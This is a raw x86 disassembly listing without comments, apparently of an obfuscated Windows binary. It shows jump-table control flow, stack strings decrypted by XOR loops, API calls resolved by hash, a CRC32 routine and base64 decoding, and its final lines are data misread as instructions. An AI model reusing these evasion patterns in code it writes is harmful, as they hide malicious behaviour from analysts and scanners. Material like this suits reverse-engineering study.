add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebp
jmp dword [eax*4 + 0x44ef44]
mov dword [esp + 0x10], ecx
mov eax, dword [ecx]
mov dword [esp + 8], eax
mov ecx, esi
sub ecx, edi
mov dword [esp + 4], esi
mov eax, dword [esp + 0xc]
cmp esi, eax
mov esi, eax
mov dword [esp], ecx
je 0x42d34a
mov ebp, edi
jmp 0x42d3c0
mov eax, ecx
sar eax, 3
inc eax
mov ecx, esi
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42d363
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c710
add esp, 4
mov ebp, eax
test edi, edi
je 0x42d3ac
cmp edi, esi
je 0x42d3a3
xor eax, eax
nop
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x42d380
push edi
call fcn.0040c720
add esp, 4
lea esi, [ebx*8]
add esi, ebp
mov eax, ebp
mov ecx, dword [esp]
add eax, ecx
mov dword [esp + 4], eax
mov dword [esp + 0xc], esi
mov dword [ebp + ecx], 0
mov dword [ebp + ecx + 4], 0
xor ebx, ebx
mov esi, dword [esp + 8]
nop
nop
nop
nop
nop
nop
cmp byte [esi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42d3e0
push ebx
call fcn.0040c710
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x6c], ebp
mov dword [ebp + ecx], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov esi, ebx
and esi, 3
mov ecx, esi
shr ecx, 1
mov dword [esp + 0x68], edx
mov edi, eax
mov ebp, dword [esp + 0x68]
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
xor ecx, 2
and ecx, esi
je 0x42d44c
mov esi, ebx
and esi, 2
add edx, esi
add eax, esi
push ecx
push edx
push eax
call fcn.0040c740
add esp, 0xc
xor ecx, ecx
cmp ebx, 1
mov ebp, dword [esp + 0x6c]
je 0x42d300
mov ecx, 0xffffffff
mov eax, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 8]
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp ebx, eax
jne 0x42d470
not ecx
mov ebp, dword [esp + 0x6c]
jmp 0x42d300
add eax, 8
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
xor ebx, ebx
mov esi, dword [esp]
jmp dword [eax*4 + 0x44efe4]
int3
jmp dword [0x44f0c4]
push dword [esp + 0x40]
call fcn.0040c720
add esp, 4
mov eax, dword [esp + 0x58]
and al, 1
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x88]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44f0bc]
mov ebx, dword [esp + ecx + 0x94]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x42d8d0
mov dword [esp + 0x88], ecx
mov dword [esp + 0x7c], eax
mov edx, eax
sar edx, 1
mov dword [esp + 0x50], ebx
mov eax, dword [esp + 0x54]
lea ecx, [edx + eax]
mov dword [esp + 0x5c], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42d90e
mov eax, 0xffffffff
push eax
call fcn.0040c710
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x40]
movzx eax, word [eax]
mov dword [esp + 0x38], esi
test ax, ax
je 0x42d951
mov ecx, dword [esp + 0x70]
mov esi, dword [esp + 0x38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42d940
mov word [esi], 0
jmp dword [0x44f0d0]
mov word [esi], 0x5c
mov dword [esp + 4], 0x895e8b28
mov dword [esp + 8], 0x853b8739
mov dword [esp + 0xc], 0x8136833b
mov dword [esp + 0x10], 0x9d339f60
mov dword [esp + 0x14], 0x99259b10
mov dword [esp + 0x18], 0x952d9714
mov word [esp + 0x1c], 0x9394
mov byte [edi + 0x1e], 0
mov dword [edi + 0x1a], 0
mov eax, 0xdbe32ee3
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x241cd121]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x91
mov byte [esp + eax + 0x241cd121], cl
inc eax
cmp eax, 0xdbe32f02
jne 0x42d9b0
lea eax, [esi + 2]
movzx ecx, word [ebx]
test cx, cx
je 0x42da01
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d9f0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x42da31
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42da20
mov word [eax], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x48]
call fcn.00446250
add esp, 0x14
jmp case.0x42d0b3.62
mov word [ecx], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x48]
call fcn.00446250
add esp, 0x14
jmp dword [0x44f0d8]
lea eax, [ebx + 2]
mov word [esi], 0x5c
mov dword [esp + 4], 0x895e8b28
mov dword [esp + 8], 0x853b8739
mov dword [esp + 0xc], 0x8136833b
mov dword [esp + 0x10], 0x9d339f60
mov dword [esp + 0x14], 0x99259b10
mov dword [esp + 0x18], 0x952d9714
mov word [esp + 0x1c], 0x9394
mov byte [edi + 0x1e], 0
mov dword [edi + 0x1a], 0
mov ecx, 0xdbe32ee3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0x241cd121]
mov edx, ebx
and edx, ecx
add dl, dl
sub bl, dl
movzx edx, bl
add edx, ecx
add dl, 0x91
mov byte [esp + ecx + 0x241cd121], dl
inc ecx
cmp ecx, 0xdbe32f02
jne 0x42dae0
lea ecx, [esi + 2]
mov ebx, dword [esp + 0x50]
movzx edx, word [ebx]
test dx, dx
je 0x42db31
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x42db20
mov word [ecx], 0
movzx eax, word [esp + 4]
test ax, ax
je 0x42da60
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], ax
add ecx, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x42db50
jmp 0x42da60
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f0dc]
xor ebx, ebx
jmp dword [0x44f16c]
push dword [esp + 0x38]
call fcn.0040c720
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x44f174]
lea eax, [esp + 0x60]
push 0
push eax
push dword [esp + 0x50]
call fcn.00446550
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp], 0
jmp dword [eax*4 + 0x44f0e4]
jmp dword [0x44f0ec]
add ecx, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42dbd0
shr ecx, 2
mov esi, edx
mov dword [esp + 0x44], edx
movzx edx, byte [eax + edx - 1]
cmp edx, 0x3d
je 0x42dbf5
cmp edx, 0x2e
jne 0x42dbf6
dec ecx
mov edx, dword [esp + 0x44]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
je 0x42dc09
cmp edx, 0x2e
jne 0x42dc0a
dec ecx
mov dword [esp + 0x80], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c710
add esp, 4
mov dword [esp + 0x4c], eax
cmp dword [esp + 0x44], 0
je 0x42dd28
xor esi, esi
mov edi, 2
jmp 0x42dc55
mov ebp, dword [esp]
lea eax, [edi + 4]
add edi, 2
mov esi, ebp
cmp edi, ecx
mov edi, eax
jae 0x42dd28
mov ebp, dword [esp + 0x78]
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.00422ae0
add esp, 4
mov byte [esp], al
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.00422ae0
mov ecx, dword [esp + 0x48]
add esp, 4
movzx edx, byte [esp]
shl dl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, dl
lea edx, [esi + 1]
mov dword [esp], edx
mov edx, dword [esp + 0x4c]
mov byte [edx + esi], ah
cmp edi, ecx
jae 0x42dc40
mov byte [esp + 0x3f], al
mov dword [esp + 0x74], esi
movzx eax, byte [ebp + edi]
push eax
call fcn.00422ae0
mov ecx, dword [esp + 0x48]
add esp, 4
cmp al, 0x40
mov ebp, dword [esp]
je 0x42dc43
movzx edx, byte [esp + 0x3f]
shl dl, 4
mov byte [esp], al
shr al, 2
and al, 0xf
or al, dl
mov esi, dword [esp + 0x74]
lea ebp, [esi + 2]
mov edx, dword [esp + 0x4c]
mov byte [edx + esi + 1], al
lea eax, [edi + 1]
cmp eax, ecx
jae 0x42dc43
mov eax, dword [esp + 0x78]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.00422ae0
mov ecx, dword [esp + 0x48]
add esp, 4
cmp al, 0x40
movzx edx, byte [esp]
je 0x42dc43
shl dl, 6
add al, dl
mov edx, dword [esp + 0x4c]
mov esi, dword [esp + 0x74]
mov byte [edx + esi + 2], al
add esi, 3
mov ebp, esi
jmp 0x42dc43
mov eax, dword [esp + 0x80]
add eax, 0xfffffffb
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x4c]
mov edi, eax
add eax, 5
mov dword [esp + 0x90], eax
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
push 0x31f26afb
push dword [0x45304c]
call fcn.004457f0
add esp, 8
lea ecx, [esp + 0x64]
lea edx, [esp + 0x8c]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
mov esi, dword [esp + 0x84]
jmp dword [ecx*4 + 0x44f10c]
mov eax, dword [esp + 0x7c]
add eax, 0x10
cmp dword [esp + 0x5c], 0xfffffff8
jge 0x42ddb4
mov eax, 0xffffffff
push eax
call fcn.0040c710
add esp, 4
mov ebp, eax
mov dword [esp + 4], 0xd9bedbf5
mov dword [esp + 8], 0xddecdfa8
mov dword [esp + 0xc], 0xd15ad3a8
mov dword [esp + 0x10], 0xd5d6d7a4
mov dword [esp + 0x14], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x4f
xor cl, byte [esp + eax + 4]
add cl, 0x75
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x14
jne 0x42ddf0
mov eax, dword [esp + 0x50]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
je 0x42de31
mov eax, dword [esp + 0x50]
lea edx, [eax + 2]
mov eax, ebp
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42de20
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x42de61
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42de50
mov word [eax], 0
mov ecx, dword [esp + 0xf8]
push dword [esp + 0x64]
push dword [esp + 0x6c]
push ebp
call fcn.0040d040
mov dword [esp], eax
jmp dword [0x44f114]
jmp dword [0x44f120]
jmp dword [0x44f190]
push esi
call fcn.0040c720
add esp, 4
nop
push esi
call fcn.0040c720
add esp, 4
jmp dword [0x44f194]
mov edi, dword [esp + 0x60]
lea eax, [edi + 1]
push eax
call fcn.0040c710
add esp, 4
push 0
push edi
push eax
push dword [esp + 0x54]
call fcn.00446610
add esp, 0x10
mov edi, dword [esp + 0x60]
lea eax, [edi + 1]
push eax
call fcn.0040c710
add esp, 4
mov esi, eax
push 0
push edi
push eax
push dword [esp + 0x54]
call fcn.00446610
add esp, 0x10
jmp dword [0x44f0f4]
mov dword [esp + 0x6c], esi
not eax
shr eax, 0x1f
mov dword [esp], 0
lea esi, [esp + 4]
jmp dword [eax*4 + 0x44f0fc]
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x6c]
mov byte [ecx + eax], 0
push ecx
call fcn.00403c00
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
jmp dword [ecx*4 + 0x44f104]
mov dword [esp + 0x84], eax
push eax
call fcn.00404570
add esp, 4
mov dword [esp], eax
mov dword [esp + 4], 0x70756267
mov dword [esp + 8], 0x235e245e
mov dword [esp + 0xc], 0x485c549e
mov dword [esp + 0x10], 0x2b562c56
mov dword [esp + 0x14], 0x58455d5d
mov word [esp + 0x18], 0x3441
mov byte [esp + 0x1a], 0xbe
mov byte [esi + 0x1b], 0
mov dword [esi + 0x17], 0
mov esi, 0x696493dc
mov eax, 0x23
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + esi - 0x696493d8]
mov edx, eax
and edx, 0x2d
mov ecx, esi
and ecx, 0x92
or ecx, edx
xor ecx, 0x6d
and ecx, edi
or edi, esi
not edi
or edi, ecx
lea ecx, [edi + edi]
mov edx, ecx
not edx
lea ebp, [edi + edx]
add edx, edi
add edx, 0xb3
and ecx, 2
and ebp, 1
or ebp, ecx
and edx, 0xfe
add edx, ebp
mov byte [esp + esi - 0x696493d8], dl
inc esi
dec eax
cmp esi, 0x696493f8
jne 0x42dfa0
lea eax, [esp + 4]
push eax
push dword [esp + 4]
call fcn.004046b0
add esp, 8
mov edx, 0xffffffff
mov ecx, 0xfffffffd
mov dword [esp + 0x78], eax
jmp 0x42dbd0
push esi
call fcn.004047e0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.004047e0
add esp, 4
jmp dword [0x44f15c]
jmp dword [0x44f164]
push dword [esp + 0x6c]
call fcn.0040c720
add esp, 4
mov eax, dword [esp + 0x48]
mov dword [esp + 4], 0x282b2a25
mov word [esp + 8], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x37
xor cl, byte [esp + ebx + 4]
add cl, 0xed
mov byte [esp + ebx + 4], cl
inc ebx
cmp ebx, 6
jne 0x42e070
mov ecx, dword [0x453040]
test ecx, ecx
je 0x42e0c0
mov edx, dword [esp + 4]
xor edi, edi
mov ebx, dword [0x453044]
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x7e776f1
je 0x42e0b0
inc edi
cmp ecx, edi
jne 0x42e0a0
jmp 0x42e0c0
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x42e3ca
nop
nop
nop
nop
lea edi, [esp + 4]
mov ebx, dword [esp]
jmp dword [0x44f16c]
movzx eax, bl
jmp dword [eax*4 + 0x44f174]
mov eax, dword [esp + 0x54]
mov edx, dword [esp + 0x5c]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42e0f7
mov eax, 0xffffffff
push eax
call fcn.0040c710
add esp, 4
mov ecx, dword [esp + 0x40]
movzx ecx, word [ecx]
mov esi, eax
test cx, cx
je 0x42e131
mov edx, dword [esp + 0x70]
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e120
mov dword [esp + 0x38], eax
mov eax, esi
mov word [esi], 0x5c
mov dword [esp + 4], 0x11621f70
mov dword [esp + 8], 0x15771381
mov dword [esp + 0xc], 0x98a1777
mov dword [esp + 0x10], 0xd7f0b28
mov dword [esp + 0x14], 0x19f0f98
mov dword [esp + 0x18], 0x5610392
mov dword [esp + 0x1c], 0x3961079d
mov dword [esp + 0x20], 0x3da63b54
mov dword [esp + 0x24], 0x31a83f5b
mov dword [esp + 0x28], 0x35ae3357
mov dword [esp + 0x2c], 0x29543750
mov word [esp + 0x30], 0x2b28
mov dword [esp + 0x32], 0
mov edi, 0x57d5fc85
mov edx, 0x2037a
nop
nop
nop
movzx ebx, byte [esp + edi - 0x57d5fc81]
mov esi, edx
and esi, 0x20002
mov ebp, ebx
xor ebp, 0xce
mov ecx, edi
and ecx, 0x52c5f8fd
or ecx, esi
mov esi, ecx
xor esi, 0xcc
xor ebx, 0x31
and ebx, esi
xor ecx, 0x33
and ecx, ebp
or ecx, ebx
add cl, 0x67
mov byte [esp + edi - 0x57d5fc81], cl
inc edi
dec edx
cmp edi, 0x57d5fcb7
jne 0x42e1b0
add eax, 2
mov ebx, dword [esp + 0x50]
movzx ecx, word [ebx]
test cx, cx
je 0x42e221
lea edx, [ebx + 2]
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e210
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x42e251
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e240
mov word [eax], 0
mov eax, dword [esp + 0x7c]
add eax, 0x12
cmp dword [esp + 0x5c], 0xfffffff7
jge 0x42e269
mov eax, 0xffffffff
push eax
call fcn.0040c710
add esp, 4
mov edi, eax
mov dword [esp + 4], 0x8f32897b
mov dword [esp + 8], 0x83088d29
mov dword [esp + 0xc], 0x873a8125
mov dword [esp + 0x10], 0x9b3c8520
mov word [esp + 0x14], 0x9998
lea eax, [esp + 4]
mov word [eax + 0x16], 0
mov dword [eax + 0x12], 0
mov eax, 0x62
mov ecx, 0xa637009d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x5e]
mov esi, eax
xor esi, ecx
and esi, edx
xor esi, ecx
lea edx, [esi + esi]
not edx
add edx, esi
add dl, 0x16
mov byte [esp + eax - 0x5e], dl
inc eax
dec ecx
cmp eax, 0x7a
jne 0x42e2c0
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x42e311
add ebx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x42e300
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
mov esi, dword [esp + 0x38]
je 0x42e341
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e330
mov word [eax], 0
mov dword [esp + 4], 0x232221da
mov byte [esp + 8], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xc8
xor cl, byte [esp + eax + 4]
add cl, 0x18
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 5
jne 0x42e360
push 0
push 0
push 0xc00000
lea eax, [esp + 0x10]
push eax
push esi
push edi
push dword [esp + 0x110]
call fcn.00425e10
add esp, 0x1c
mov ecx, dword [esp + 0x58]
and cl, 1
or cl, al
mov dword [esp + 0x58], ecx
jmp dword [0x44f17c]
push edi
call fcn.0040c720
add esp, 4
lea edi, [esp + 4]
jmp dword [0x44f184]
lea edi, [esp + 4]
jmp dword [0x44f184]
push eax
push 1
push dword [0x453048]
push ecx
call fcn.00443090
add esp, 0x10
lea edi, [esp + 4]
mov ebx, dword [esp]
jmp dword [0x44f16c]
jmp dword [0x44f13c]
jmp dword [0x44f144]
push edi
call fcn.0040c720
add esp, 4
nop
nop
push edi
call fcn.0040c720
add esp, 4
jmp dword [0x44f14c]
jmp dword [0x44f158]
push 0xd80d2c4a
push dword [0x453034]
call fcn.004457f0
add esp, 8
push dword [esp + 0x68]
call eax
nop
nop
push 0xd80d2c4a
push dword [0x453034]
call fcn.004457f0
add esp, 8
push dword [esp + 0x68]
call eax
jmp dword [0x44f138]
jmp dword [0x44f130]
push ebp
call fcn.0040c720
add esp, 4
push ebp
call fcn.0040c720
add esp, 4
jmp dword [0x44f128]
xor ebx, ebx
jmp dword [0x44f2c4]
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0x78]
call fcn.00446550
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp + 0x18], 0
jmp dword [eax*4 + 0x44f1a4]
mov esi, dword [esp + 0x84]
lea eax, [esi + 1]
push eax
call fcn.0040c710
add esp, 4
push 0
push esi
mov dword [esp + 0x84], eax
push eax
push dword [esp + 0x7c]
call fcn.00446610
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0x18], 0
jmp dword [eax*4 + 0x44f1ac]
jmp dword [0x44f2ac]
mov eax, dword [esp + 0x70]
mov dword [esp + 0x1c], 0x282b2a25
mov word [esp + 0x20], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x37
xor cl, byte [esp + ebx + 0x1c]
add cl, 0xed
mov byte [esp + ebx + 0x1c], cl
inc ebx
cmp ebx, 6
jne 0x42e720
mov ecx, dword [0x453040]
test ecx, ecx
mov ebx, dword [esp + 0x18]
je 0x42e76c
mov edx, dword [esp + 0x1c]
xor esi, esi
mov edi, dword [0x453044]
cmp dword [edi + esi*8], 0x7e776f1
je 0x42e760
inc esi
cmp ecx, esi
jne 0x42e750
jmp 0x42e76c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42ef1b
and bl, 1
jmp dword [0x44f2c4]
mov eax, dword [esp + 0x84]
mov ecx, dword [case.0x42e664.11]
nop
nop
nop
nop
nop
nop
nop
jmp ecx
push eax
push 1
push dword [0x453048]
push ecx
call fcn.00443090
add esp, 0x10
and bl, 1
jmp dword [0x44f2c4]
rol dword [edx], 0x99
rol dword [edx], 0xac
ret 0x42
rol byte [edx], 1
adc eax, 0xba0042d5
rol byte [edx], 1
out dx, al
ret 66
les eax, [edx]
cmpsb byte [esi], byte es:[edi]
ret